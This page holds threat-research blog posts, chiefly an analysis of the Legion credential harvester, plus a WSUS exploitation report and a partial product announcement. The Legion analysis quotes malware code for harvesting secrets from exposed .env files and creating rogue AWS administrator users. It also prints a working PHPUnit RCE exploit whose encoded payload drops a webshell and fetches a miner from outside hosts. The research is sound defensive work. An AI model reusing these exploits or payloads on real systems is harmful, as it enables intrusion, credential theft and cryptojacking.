Blog
/
/
April 13, 2023

Legion: An AWS Credential Harvester and SMTP Hijacker

Cado Security Labs researchers (now part of Darktrace) encountered Legion, an emerging Python-based credential harvester and hacktool. Legion exploits various services for the purpose of email abuse.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
The Darktrace Community
Default blog imageDefault blog imageDefault blog imageDefault blog imageDefault blog imageDefault blog image
13
Apr 2023

Introduction

Cado Security Labs researchers (now part of Darktrace) encountered an emerging Python-based credential harvester and hacktool, named Legion, aimed at exploiting various services for the purpose of email abuse.  

The tool is sold via the Telegram messenger, and includes modules dedicated to:

  • enumerating vulnerable SMTP servers
  • conducting Remote Code Execution (RCE)
  • exploiting vulnerable versions of Apache
  • brute-forcing cPanel and WebHost Manager (WHM) accounts
  • interacting with Shodan’s API to retrieve a target list (provided you supply an API key)  
  • additional utilities, many of which involve abusing AWS services
Legion splash screen
Figure 1: Legion splash screen

The sample encountered by researchers appears to be related to another malware called AndroxGh0st [1]. At the time of writing, it had no detections on VirusTotal [2].

Screen
Figure 2: No open-source intelligence (OSINT) detections for legion.py.

Legion.py background

The sample itself is a rather long (21,015 line) Python3 script. Initial static analysis shows that the malware includes configurations for integrating with services such as Twilio and Shodan - more on this later. Telegram support is also included, with the ability to pipe the results of each of the modules into a Telegram chat via the Telegram Bot API.

  cfg['SETTINGS'] = {} 
  cfg['SETTINGS']['EMAIL_RECEIVER'] = 'put your email' 
  cfg['SETTINGS']['DEFAULT_TIMEOUT'] = '20' 
  cfg['TELEGRAM'] = {} 
  cfg['TELEGRAM']['TELEGRAM_RESULTS'] = 'on' 
  cfg['TELEGRAM']['BOT_TOKEN'] = 'bot token telegram' 
  cfg['TELEGRAM']['CHAT_ID'] = 'chat id telegram' 
  cfg['SHODAN'] = {} 
  cfg['SHODAN']['APIKEY'] = 'ADD YOUR SHODAN APIKEY' 
  cfg['TWILIO'] = {} 
  cfg['TWILIO']['TWILIOAPI'] = 'ADD YOUR TWILIO APIKEY' 
  cfg['TWILIO']['TWILIOTOKEN'] = 'ADD YOUR TWILIO AUTHTOKEN' 
  cfg['TWILIO']['TWILIOFROM'] = 'ADD YOUR FROM NUMBER' 
  cfg['SCRAPESTACK'] = {} 
  cfg['SCRAPESTACK']['SCRAPESTACK_KEY'] = 'scrapestack_key' 
  cfg['AWS'] = {} 
  cfg['AWS']['EMAIL'] = 'put your email AWS test' 

Legion.py - default configuration parameters

As mentioned above, the malware itself appears to be distributed via a public Telegram group. The sample also included references to a Telegram user with the handle “myl3gion”. At the time of writing, researchers accessed the Telegram group to determine whether additional information about the campaign could be discovered.  

Rather amusingly, one of the only recent messages was from the group owner warning members that the user myl3gion was in fact a scammer. There is no additional context to this claim, but it appears that the sample encountered was “illegitimately” circulated by this user.

Scam warning
Figure 3: Scam warning from Telegram group administrator

At the time of writing, the group had 1,090 members and the earliest messages were from February 2021.  

Researchers also encountered a YouTube channel named “Forza Tools”, which included a series of tutorial videos for using Legion. The fact that the developer behind the tool has made the effort of creating these videos, suggests that the tool is widely distributed and is likely paid malware.  

Forza tools youtube channel
Figure 4: Forza Tools YouTube Channel

Functionality

It’s clear from a cursory glance at the code, and from the YouTube tutorials described above, that the Legion credential harvester is primarily concerned with the exploitation of web servers running Content Management Systems (CMS), PHP, or PHP-based frameworks, such as Laravel.  

From these targeted servers, the tool uses a number of RegEx patterns to extract credentials for various web services. These include credentials for email providers, cloud service providers (i.e. AWS), server management systems, databases and payment systems - such as Stripe and PayPal. Typically, this type of tool would be used to hijack said services and use the infrastructure for mass spamming or opportunistic phishing campaigns.  

Additionally, the malware also includes code to implant webshells, brute-force CPanel or AWS accounts and send SMS messages to a list of dynamically-generated US mobile numbers.

Credential harvesting

Legion contains a number of methods for retrieving credentials from misconfigured web servers. Depending on the web server software, scripting language or framework the server is running, the malware will attempt to request resources known to contain secrets, parse them and save the secrets into results files sorted on a per-service basis.  

One such resource is the .env environment variables file, which often contains application-specific secrets for Laravel and other PHP-based web applications. The malware maintains a list of likely paths to this file, as well as similar files and directories for other web technologies. Examples of these can be seen in the table below.

Apache

/_profiler/phpinfo

/tool/view/phpinfo.view.php

/debug/default/view.html

/frontend/web/debug/default/view

/.aws/credentials

/config/aws.yml

/symfony/public/_profiler/phpinfo  

Laravel

/conf/.env

/wp-content/.env

/library/.env

/vendor/.env

/api/.env

/laravel/.env

/sites/all/libraries/mailchimp/.env

Generic debug paths

/debug/default/view?panel=config

/tool/view/phpinfo.view.php

/debug/default/view.html

/frontend/web/debug/default/view

/web/debug/default/view

/sapi/debug/default/view

/wp-config.php-backup

# grab password 
if 'DB_USERNAME=' in text: 
        method = './env' 
        db_user = re.findall("\nDB_USERNAME=(.*?)\n", text)[0] 
        db_pass = re.findall("\nDB_PASSWORD=(.*?)\n", text)[0] 
elif '<td>DB_USERNAME</td>' in text: 
        method = 'debug' 
        db_user = re.findall('<td>DB_USERNAME<\/td>\s+<td><pre.*>(.*?)<\/span>', text)[0] 
        db_pass = re.findall('<td>DB_PASSWORD<\/td>\s+<td><pre.*>(.*?)<\/span>', text)[0] 

Example of RegEx parsing code to retrieve database credentials from requested resources

if '<td>#TWILIO_SID</td>' in text: 
                  acc_sid = re.findall('<td>#TWILIO_SID<\\/td>\\s+<td><pre.*>(.*?)<\\/span>', text)[0] 
                  auhtoken = re.findall('<td>#TWILIO_AUTH<\\/td>\\s+<td><pre.*>(.*?)<\\/span>', text)[0] 
                  build = cleanit(url + '|' + acc_sid + '|' + auhtoken) 
                  remover = str(build).replace('\r', '') 
                  print(f"{yl}☆ [{gr}{ntime()}{red}] {fc}╾┄╼ {gr}TWILIO {fc}[{yl}{acc_sid}{res}:{fc}{acc_key}{fc}]") 
                  save = open(o_twilio, 'a') 
                  save.write(remover+'\n') 
                  save.close() 

Example of RegEx parsing code to retrieve Twilio secrets from requested resources

A full list of the services the malware attempts to extract credentials for can be seen in the table below.

Services targeted

  • Twilio
  • Nexmo
  • Stripe/Paypal (payment API function)
  • AWS console credentials
  • AWS SNS, S3 and SES specific credentials
  • Mailgun
  • Plivo
  • Clicksend
  • Mandrill
  • Mailjet
  • MessageBird
  • Vonage
  • Nexmo
  • Exotel
  • Onesignal
  • Clickatel
  • Tokbox
  • SMTP credentials
  • Database Administration and CMS credentials (CPanel, WHM, PHPmyadmin)

AWS features

As discussed in the previous section, Legion will attempt to retrieve credentials from insecure or misconfigured web servers. Of particular interest to those in cloud security is the malware’s ability to retrieve AWS credentials.  

Not only does the malware claim to harvest these from target sites, but it also includes a function dedicated to brute-forcing AWS credentials - named aws_generator().

def aws_generator(self, length, region): 
    chars = ["a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","0","1","2","3","4","5","6","7","8","9","/","/"] 
    chars = ["a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","0","1","2","3","4","5","6","7","8","9"] 
    def aws_id(): 
        output = "AKIA" 
        for i in range(16): 
            output += random.choice(chars[0:38]).upper() 
        return output 
    def aws_key(): 
        output = "" 
        for i in range(40): 
            if i == 0 or i == 39: 
                randUpper = random.choice(chars[0:38]).upper() 
                output += random.choice([randUpper, random.choice(chars[0:38])]) 
            else: 
                randUpper = random.choice(chars[0:38]).upper() 
                output += random.choice([randUpper, random.choice(chars)]) 
        return output 
    self.show_info_message(message="Generating Total %s Of AWS Key, Please Wait....." % length) 

Example of AWS credential generation code

This is consistent with external analysis of AndroxGh0st [1], which similarly concludes that it seems statistically unlikely this functionality would result in usable credentials. Similar code for brute-forcing SendGrid (an email marketing company) credentials is also included.

Regardless of how credentials are obtained, the malware attempts to add an IAM user with the hardcoded username of ses_legion. Interestingly, in this sample of Legion the malware also tags the created user with the key “Owner” and a hardcoded value of “ms.boharas”.

def create_new_user(iam_client, user_name='ses_legion'): 
        user = None 
        try: 
                user = iam_client.create_user( 
                        UserName=user_name, 
                        Tags=[{'Key': 'Owner', 'Value': 'ms.boharas'}] 
                    ) 
        except ClientError as e: 
                if e.response['Error']['Code'] == 'EntityAlreadyExists': 
                        result_str = get_random_string() 
                        user_name = 'ses_{}'.format(result_str) 
                        user = iam_client.create_user(UserName=user_name, 
                        Tags=[{'Key': 'Owner', 'Value': 'ms.boharas'}] 
                    ) 
        return user_name, user 

IAM user creation and tagging code

An IAM group named SESAdminGroup is then created and the newly created user is added. From there, Legion attempts to create a policy based on the Administrator Access [3] Amazon managed policy. This managed policy allows full access and can delegate permissions to all services and resources within AWS. This includes the management console, providing access has been activated for the user.

def creat_new_group(iam_client, group_name='SESAdminGroup'): 
        try: 
                res = iam_client.create_group(GroupName=group_name) 
        except ClientError as e: 
                if e.response['Error']['Code'] == 'EntityAlreadyExists': 
                        result_str = get_random_string() 
                        group_name = "SESAdminGroup{}".format(result_str) 
                        res = iam_client.create_group(GroupName=group_name) 
        return res['Group']['GroupName']
def creat_new_policy(iam_client, policy_name='AdministratorAccess'): policy_json = {"Version": "2012-10-17","Statement": [{"Effect": "Allow", "Action": "*","Resource": "*"}]} try: res = iam_client.create_policy( PolicyName=policy_name, PolicyDocument=json.dumps(policy_json) ) except ClientError as e: if e.response['Error']['Code'] == 'EntityAlreadyExists': result_str = get_random_string() policy_name = "AdministratorAccess{}".format(result_str) res = iam_client.create_policy(PolicyName=policy_name, PolicyDocument=json.dumps(policy_json) ) return res['Policy']['Arn'] 

IAM group and policy creation code

Consistent with the assumption that Legion is primarily concerned with cracking email services, the malware attempts to use the newly created AWS IAM user to query Amazon Simple Email Service (SES) quota limits and even send a test email.

def check(countsd, key, secret, region): 
        try: 
                out = '' 
                client = boto3.client('ses', aws_access_key_id=key, aws_secret_access_key=secret, region_name=region) 
                try: 
                        response = client.get_send_quota() 
                        frommail = client.list_identities()['Identities'] 
                        if frommail: 
                                SUBJECT = "AWS Checker By @mylegion (Only Private Tools)" 
                                BODY_TEXT = "Region: {region}\r\nLimit: {limit}|{maxsendrate}|{last24}\r\nLegion PRIV8 Tools\r\n".format(key=key, secret=secret, region=region, limit=response['Max24HourSend']) 
                                CHARSET = "UTF-8" 
                                _to = emailnow 

SMS hijacking capability

One feature of Legion not covered by previous research is the ability to deliver SMS spam messages to users of mobile networks in the US. To do this, the malware retrieves the area code for a US state of the user’s choosing from the website www.randomphonenumbers.com.  

To retrieve the area code, Legion uses Python’s BeautifulSoup HTML parsing library. A rudimentary number generator function is then used to build up a list of phone numbers to target.

def generate(self): 
    print('\n\n\t{0}╭╼[ {1}Starting Service {0}]\n\t│'.format(fg[5], fg[6])) 
    url = f'https://www.randomphonenumbers.com/US/random_{self.state}_phone_numbers'.replace(' ', '%20') 
    print('\t{0}│ [ {1}WEBSITE LOADED{0} ] {2}{3}{0}'.format(fg[5], fg[2], fg[1], url)) 
    query = requests.get(url) 
    soup = BeautifulSoup(query.text, 'html.parser') 
    list = soup.find_all('ul')[2] 
    urls = [] 
    for a in list.find_all('a', href=True): 
        url = f'https://www.randomphonenumbers.com{a["href"]}' 
        print('\t{0}│ [ {1}PARSING URLS{0}   ] {2}{3}'.format(fg[5], fg[2], fg[1], url), end='\r') 
        urls.append(url) 
        time.sleep(0.01) 
    print(' ' * 100, end='\r') 
    print('\t{0}│ [ {1}URLS PARSED{0}    ] {2}{3}\n\t│'.format(fg[5], fg[3], fg[1], len(urls)), end='\r')
def generate_number(area_code, carrier): for char in string.punctuation: carrier = carrier.replace(char, ' ') numbers = '' for number in [area_code + str(x) for x in range(0000, 9999)]: if len(number) != 10: gen = number.split(area_code)[1] number = area_code + str('0' * (10-len(area_code)-len(gen))) + gen numbers += number + '\n' with open(f'Generator/Carriers/{carrier}.txt', 'a+') as file: file.write(numbers)  

Web scraping and phone number generation code

To send the SMS messages themselves, the malware checks for saved SMTP credentials retrieved by one of the credential harvesting modules. Targeted carriers are listed below:

US Mobile Carriers

  • Alltel
  • Amp'd Mobile
  • AT&T
  • Boost Mobile
  • Cingular
  • Cricket
  • Einstein PCS
  • Sprint
  • SunCom
  • T-Mobile
  • VoiceStream
  • US Cellular
  • Verizon
  • Virgin
while not is_prompt: 
    print('\t{0}┌╼[{1}USA SMS Sender{0}]╾╼[{2}Choose Carrier to SPAM{0}]\n\t└─╼ '.format(fg[5], fg[0], fg[6]), end='') 
    try: 
        prompt = int(input('')) 
        if prompt in [int(x) for x in carriers.keys()]: 
            self.carrier = carriers[str(prompt)] 
            is_prompt = True 
        else: 
            print('\t{0}[{1}!{0}]╾╼[{2}Please enter a valid choice!{0}]'.format(fg[5], fg[0], fg[2]), end='\r') 
            time.sleep(1) 
    except ValueError: 
        print('\t{0}[{1}!{0}]╾╼[{2}Please enter a valid choice!{0}]'.format(fg[5], fg[0], fg[2]), end='\r') 
        time.sleep(1) 
print('\t{0}┌╼[{1}USA SMS Sender{0}]╾╼[{2}Please enter your message {0}| {2}160 Max Characters{0}]\n\t└─╼ '.format(fg[5], fg[0], fg[6]), end='') 
self.message = input('') 
print('\t{0}┌╼[{1}USA SMS Sender{0}]╾╼[{2}Please enter sender email{0}]\n\t└─╼ '.format(fg[5], fg[0], fg[6]), end='') 
self.sender_email = input('') 

Carrier selection code example

PHP exploitation

Not content with simply harvesting credentials for the purpose of email and SMS spamming, Legion also includes traditional hacktool functionality. One such feature is the ability to exploit well-known PHP vulnerabilities to register a webshell or remotely execute malicious code.

The malware uses several methods for this. One such method is posting a string preceded by <?php and including base64-encoded PHP code to the path "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php". This is a well-known PHP unauthenticated RCE vulnerability, tracked as CVE-2017-9841. It’s likely that Proof of Concept (PoC) code for this vulnerability was found online and integrated into the malware.

path = "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php" 
url = url + path 
phpinfo = "<?php phpinfo(); ?>" 
try: 
    requester_1 = requests.post(url, data=phpinfo, timeout=15, verify=False) 
    if "phpinfo()" in requester_1.text: 
        payload_ = '<?php $root = $_SERVER["DOCUMENT_ROOT"]; $myfile = fopen($root . "/'+pathname+'", "w") or die("Unable to open file!"); $code = "PD9waHAgZWNobyAnPGNlbnRlcj48aDE+TEVHSU9OIEVYUExPSVQgVjQgKE7Eg3ZvZGFyaSBQb3dlcik8L2gxPicuJzxicj4nLidbdW5hbWVdICcucGhwX3VuYW1lKCkuJyBbL3VuYW1lXSAnO2VjaG8nPGZvcm0gbWV0aG9kPSJwb3N0ImVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPic7ZWNobyc8aW5wdXQgdHlwZT0iZmlsZSJuYW1lPSJmaWxlIj48aW5wdXQgbmFtZT0iX3VwbCJ0eXBlPSJzdWJtaXQidmFsdWU9IlVwbG9hZCI+PC9mb3JtPic7aWYoICRfUE9TVFsnX3VwbCddPT0iVXBsb2FkIil7aWYoQGNvcHkoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddLCRfRklMRVNbJ2ZpbGUnXVsnbmFtZSddKSl7ZWNobyc8Yj5MRUdJT04gRXhwbG9pdCBTdWNjZXNzITwvYj4nO31lbHNle2VjaG8nPGI+TEVHSU9OIEV4cGxvaXQgU3VjY2VzcyE8L2I+Jzt9fSBzeXN0ZW0oJ2N1cmwgLXMgLWsgMi41Ny4xMjIuMTEyL3JjZS9sb2FkIC1vIGFkaW5kZXgucGhwOyBjZCAvdG1wOyBjdXJsIC1PIDkxLjIxMC4xNjguODAvbWluZXIuanBnOyB0YXIgeHp2ZiBtaW5lci5qcGcgPiAvZGV2L251bGw7IHJtIC1yZiBtaW5lci5qcGc7IGNkIC54OyAuL3ggPiAvZGV2L251bGwnKTsKPz4="; fwrite($myfile, base64_decode($code)); fclose($myfile); echo("LEGION EXPLOIT V3"); ?>' 
        send_payload = requests.post(url, data=payload_, timeout=15, verify=False) 
        if "LEGION EXPLOIT V3" in send_payload.text: 
            status_exploit = "Successfully" 
        else: 
            status_exploit = "Can't exploit" 
    else: 
        status_exploit = "May not vulnerable"

Key takeaways

Legion is a general-purpose credential harvester and hacktool, designed to assist in compromising services for conducting spam operations via SMS and SMTP.  

Analysis of the Telegram groups in which this malware is advertised suggests a relatively wide distribution. Two groups monitored by Cado researchers had a combined total of 5,000 members. While not every member will have purchased a license for Legion, these numbers show that interest in such a tool is high. Related research indicates that there are a number of variants of this malware, likely with their own distribution channels.  

Throughout the analyzed code, researchers encountered several Indonesian-language comments, suggesting that the developer may either be Indonesian themselves or based in Indonesia. In a function dedicated to PHP exploitation, a link to a GitHub Gist leads to a user named Galeh Rizky. This user’s profile suggests that they are located in Indonesia, which ties in with the comments seen throughout the sample. It’s not clear whether Galeh Rizky is the developer behind Legion, or if their code just happens to be included in the sample.

Since this malware relies heavily on misconfigurations in web server technologies and frameworks such as Laravel, it’s recommended that users of these technologies review their existing security processes and ensure that secrets are appropriately stored. Ideally, if credentials are to be stored in a .env file, this should be stored outside web server directories so that it’s inaccessible from the web.  

For best practices on investigating and responding to threats in AWS cloud environments, check out our Ultimate Guide to Incident Response in AWS.

Indicators of compromise (IoCs)

Filename SHA256

legion.py fcd95a68cd8db0199e2dd7d1ecc4b7626532681b41654519463366e27f54e65a

legion.py (variant) 42109b61cfe2e1423b6f78c093c3411989838085d7e6a5f319c6e77b3cc462f3

User agents

Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36

Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50

Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36

Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/537.36

Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36

Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36

Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36  

References

  1. https://www.fortinet.com/products/forticnapp
  2. https://www.virustotal.com/gui/file/fcd95a68cd8db0199e2dd7d1ecc4b7626532681b41654519463366e27f54e65a
  3. https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies_job-functions.html
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
The Darktrace Community

More in this series

No items found.

Blog

/

Network

/

October 29, 2025

WSUS Exploited: Darktrace’s Analysis of Post-Exploitation Activities Related to CVE-2025-59287

WSUS Exploited: Darktrace’s Analysis of Post-Exploitation Activities Related to CVE-2025-59287Default blog imageDefault blog image

Introduction

On October 14, 2025, Microsoft disclosed a new critical vulnerability affecting the Windows Server Update Service (WSUS), CVE-2025-59287.  Exploitation of the vulnerability could allow an unauthenticated attacker to remotely execute code [1][6].

WSUS allows for centralized distribution of Microsoft product updates [3]; a server running WSUS is likely to have significant privileges within a network making it a valuable target for threat actors. While WSUS servers are not necessarily expected to be open to the internet, open-source intelligence (OSINT) has reported  thousands of publicly exposed instances that may be vulnerable to exploitation [2].

Microsoft’s initial ‘Patch Tuesday’ update for this vulnerability did not fully mitigate the risk, and so an out-of-band update followed on October 23 [4][5] . Widespread exploitation of this vulnerability started to be observed shortly after the security update [6], prompting CISA to add CVE-2025-59287 to its Known Exploited Vulnerability Catalog (KEV) on October 24 [7].

Attack Overview

The Darktrace Threat Research team have recently identified multiple potential cases of CVE-2025-59287 exploitation, with two detailed here. While the likely initial access method is consistent across the cases, the follow-up activities differed, demonstrating the variety in which such a CVE can be exploited to fulfil each attacker’s specific goals.

The first signs of suspicious activity across both customers were detected by Darktrace on October 24, the same day this vulnerability was added to CISA’s KEV. Both cases discussed here involve customers based in the United States.

Case Study 1

The first case, involving a customer in the Information and Communication sector, began with an internet-facing device making an outbound connection to the hostname webhook[.]site. Observed network traffic indicates the device was a WSUS server.

OSINT has reported abuse of the workers[.]dev service in exploitation of CVE-2025-59287, where enumerated network information gathered through running a script on the compromised device was exfiltrated using this service [8].

In this case, the majority of connectivity seen to webhook[.]site involved a PowerShell user agent; however, cURL user agents were also seen with some connections taking the form of HTTP POSTs. This connectivity appears to align closely with OSINT reports of CVE-2025-59287 post-exploitation behaviour [8][9].

Connections to webhook[.]site continued until October 26. A single URI was seen consistently until October 25, after which the connections used a second URI with a similar format.

Later on October 26, an escalation in command-and-control (C2) communication appears to have occurred, with the device starting to make repeated connections to two rare workers[.]dev subdomains (royal-boat-bf05.qgtxtebl.workers[.]dev & chat.hcqhajfv.workers[.]dev), consistent with C2 beaconing. While workers[.]dev is associated with the legitimate Cloudflare Workers service, the service is commonly abused by malicious actors for C2 infrastructure. The anomalous nature of the connections to both webhook[.]site and workers[.]dev led to Darktrace generating multiple alerts including high-fidelity Enhanced Monitoring alerts and alerts for Darktrace’s Autonomous Response.

Infrastructure insight

Hosted on royal-boat-bf05.qgtxtebl.workers[.]dev is a Microsoft Installer file (MSI) named v3.msi.

Screenshot of v3.msi content.
Figure 1: Screenshot of v3.msi content.

Contained in the MSI file is two Cabinet files named “Sample.cab” and “part2.cab”. After extracting the contents of the cab files, a file named “Config” and a binary named “ServiceEXE”. ServiceEXE is the legitimate DFIR tool Velociraptor, and “Config” contains the configuration details, which include chat.hcqhajfv.workers[.]dev as the server_url, suggesting that Velociraptor is being used as a tunnel to the C2. Additionally, the configuration points to version 0.73.4, a version of Velociraptor that is vulnerable to CVE-2025-6264, a privilege escalation vulnerability.

 Screenshot of Config file.
Figure 2: Screenshot of Config file.

Velociraptor, a legitimate security tool maintained by Rapid7, has been used recently in malicious campaigns. A vulnerable version of tool has been used by threat actors for command execution and endpoint takeover, while other campaigns have used Velociraptor to create a tunnel to the C2, similar to what was observed in this case [10] .

The workers[.]dev communication continued into the early hours of October 27. The most recent suspicious behavior observed on the device involved an outbound connection to a new IP for the network - 185.69.24[.]18/singapure - potentially indicating payload retrieval.

The payload retrieved from “/singapure” is a UPX packed Windows binary. After unpacking the binary, it is an open-source Golang stealer named “Skuld Stealer”. Skuld Stealer has the capabilities to steal crypto wallets, files, system information, browser data and tokens. Additionally, it contains anti-debugging and anti-VM logic, along with a UAC bypass [11].

A timeline outlining suspicious activity on the device alerted by Darktrace.
Figure 3: A timeline outlining suspicious activity on the device alerted by Darktrace.

Case Study 2

The second case involved a customer within the Education sector. The affected device was also internet-facing, with network traffic indicating it was a WSUS server

Suspicious activity in this case once again began on October 24, notably only a few seconds after initial signs of compromise were observed in the first case. Initial anomalous behaviour also closely aligned, with outbound PowerShell connections to webhook[.]site, and then later connections, including HTTP POSTs, to the same endpoint with a cURL user agent.

While Darktrace did not observe any anomalous network activity on the device after October 24, the customer’s security integration resulted in an additional alert on October 27 for malicious activity, suggesting that the compromise may have continued locally.

By leveraging Darktrace’s security integrations, customers can investigate activity across different sources in a seamless manner, gaining additional insight and context to an attack.

A timeline outlining suspicious activity on the device alerted by Darktrace.
Figure 4: A timeline outlining suspicious activity on the device alerted by Darktrace.

Conclusion

Exploitation of a CVE can lead to a wide range of outcomes. In some cases, it may be limited to just a single device with a focused objective, such as exfiltration of sensitive data. In others, it could lead to lateral movement and a full network compromise, including ransomware deployment. As the threat of internet-facing exploitation continues to grow, security teams must be prepared to defend against such a possibility, regardless of the attack type or scale.

By focussing on detection of anomalous behaviour rather than relying on signatures associated with a specific CVE exploit, Darktrace is able to alert on post-exploitation activity regardless of the kind of behaviour seen. In addition, leveraging security integrations provides further context on activities beyond the visibility of Darktrace / NETWORK, enabling defenders to investigate and respond to attacks more effectively.

With adversaries weaponizing even trusted incident response tools, maintaining broad visibility and rapid response capabilities becomes critical to mitigating post-exploitation risk.

Credit to Emma Foulger (Global Threat Research Operations Lead), Tara Gould (Threat Research Lead), Eugene Chua (Principal Cyber Analyst & Analyst Team Lead), Nathaniel Jones (VP, Security & AI Strategy, Field CISO),

Edited by Ryan Traill (Analyst Content Lead)

Appendices

References

1.        https://nvd.nist.gov/vuln/detail/CVE-2025-59287

2.    https://www.bleepingcomputer.com/news/security/hackers-now-exploiting-critical-windows-server-wsus-flaw-in-attacks/

3.    https://learn.microsoft.com/en-us/windows-server/administration/windows-server-update-services/get-started/windows-server-update-services-wsus

4.    https://www.cisa.gov/news-events/alerts/2025/10/24/microsoft-releases-out-band-security-update-mitigate-windows-server-update-service-vulnerability-cve

5.    https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-59287

6.    https://thehackernews.com/2025/10/microsoft-issues-emergency-patch-for.html

7.    https://www.cisa.gov/known-exploited-vulnerabilities-catalog

8.    https://www.huntress.com/blog/exploitation-of-windows-server-update-services-remote-code-execution-vulnerability

9.    https://unit42.paloaltonetworks.com/microsoft-cve-2025-59287/

10. https://blog.talosintelligence.com/velociraptor-leveraged-in-ransomware-attacks/

11. https://github.com/hackirby/skuld

Darktrace Model Detections

·       Device / New PowerShell User Agent

·       Anomalous Connection / Powershell to Rare External

·       Compromise / Possible Tunnelling to Bin Services

·       Compromise / High Priority Tunnelling to Bin Services

·       Anomalous Server Activity / New User Agent from Internet Facing System

·       Device / New User Agent

·       Device / Internet Facing Device with High Priority Alert

·       Anomalous Connection / Multiple HTTP POSTs to Rare Hostname

·       Anomalous Server Activity / Rare External from Server

·       Compromise / Agent Beacon (Long Period)

·       Device / Large Number of Model Alerts

·       Compromise / Agent Beacon (Medium Period)

·       Device / Long Agent Connection to New Endpoint

·       Compromise / Slow Beaconing Activity To External Rare

·       Security Integration / Low Severity Integration Detection

·       Antigena / Network / Significant Anomaly / Antigena Alerts Over Time Block

·       Antigena / Network / Significant Anomaly / Antigena Enhanced Monitoring from Server Block

·       Antigena / Network / External Threat / Antigena Suspicious Activity Block

·       Antigena / Network / Significant Anomaly / Antigena Significant Server Anomaly Block

List of Indicators of Compromise (IoCs)

IoC - Type - Description + Confidence

o   royal-boat-bf05.qgtxtebl.workers[.]dev – Hostname – Likely C2 Infrastructure

o   royal-boat-bf05.qgtxtebl.workers[.]dev/v3.msi - URI – Likely payload

o   chat.hcqhajfv.workers[.]dev – Hostname – Possible C2 Infrastructure

o   185.69.24[.]18 – IP address – Possible C2 Infrastructure

o   185.69.24[.]18/bin.msi - URI – Likely payload

o   185.69.24[.]18/singapure - URI – Likely payload

The content provided in this blog is published by Darktrace for general informational purposes only and reflects our understanding of cybersecurity topics, trends, incidents, and developments at the time of publication. While we strive to ensure accuracy and relevance, the information is provided “as is” without any representations or warranties, express or implied. Darktrace makes no guarantees regarding the completeness, accuracy, reliability, or timeliness of any information presented and expressly disclaims all warranties.

Nothing in this blog constitutes legal, technical, or professional advice, and readers should consult qualified professionals before acting on any information contained herein. Any references to third-party organizations, technologies, threat actors, or incidents are for informational purposes only and do not imply affiliation, endorsement, or recommendation.

Darktrace, its affiliates, employees, or agents shall not be held liable for any loss, damage, or harm arising from the use of or reliance on the information in this blog.

The cybersecurity landscape evolves rapidly, and blog content may become outdated or superseded. We reserve the right to update, modify, or remove any content

Continue reading
About the author
Emma Foulger
Global Threat Research Operations Lead

Blog

/

/

October 24, 2025

Patch Smarter, Not Harder: Now Empowering Security Teams with Business-Aligned Threat Context Agents

Patch Smarter, Not Harder: Now Empowering Security Teams with Business-Aligned Threat Context Agents Default blog imageDefault blog image

Most risk management programs remain anchored in enumeration: scanning every asset, cataloging every CVE, and drowning in lists that rarely translate into action. Despite expensive scanners, annual pen tests, and countless spreadsheets, prioritization still falters at two critical points.

Context gaps at the device level: It’s hard to know which vulnerabilities actually matter to your business given existing privileges, what software it runs, and what controls already reduce risk.

Business translation: Even when the technical priority is clear, justifying effort and spend in financial terms—especially across many affected devices—can delay action. Especially if it means halting other areas of the business that directly generate revenue.

The result is familiar: alert fatigue, “too many highs,” and remediation that trails behind the threat landscape. Darktrace / Proactive Exposure Management addresses this by pairing precise, endpoint‑level context with clear, financial insight so teams can prioritize confidently and mobilize faster.

A powerful combination: No-Telemetry Endpoint Agent + Cost-Benefit Analysis

Darktrace / Proactive Exposure Management now uniquely combines technical precision with business clarity in a single workflow.  With this release, Darktrace / Proactive Exposure Management delivers a more holistic approach, uniting technical context and financial insight to drive proactive risk reduction. The result is a single solution that helps security teams stay ahead of threats while reducing noise, delays, and complexity.

  • No-Telemetry Endpoint: Collects installed software data and maps it to known CVEs—without network traffic—providing device-level vulnerability context and operational relevance.
  • Cost-Benefit Analysis for Patching: Calculates ROI by comparing patching effort with potential exploit impact, factoring in headcount time, device count, patch difficulty, and automation availability.

Introducing the No-Telemetry Endpoint Agent

Darktrace’s new endpoint agent inventories installed software on devices and maps it to known CVEs without collecting network data so you can prioritize using real device context and available security controls.

By grounding vulnerability findings in the reality of each endpoint, including its software footprint and existing controls, teams can cut through generic severity scores and focus on what matters most. The agent is ideal for remote devices, BYOD-adjacent fleets, or environments standardizing on Darktrace, and is available without additional licensing cost.

Darktrace / Proactive Exposure Management user interface
Figure 1: Darktrace / Proactive Exposure Management user interface

Built-In Cost-Benefit Analysis for Patching

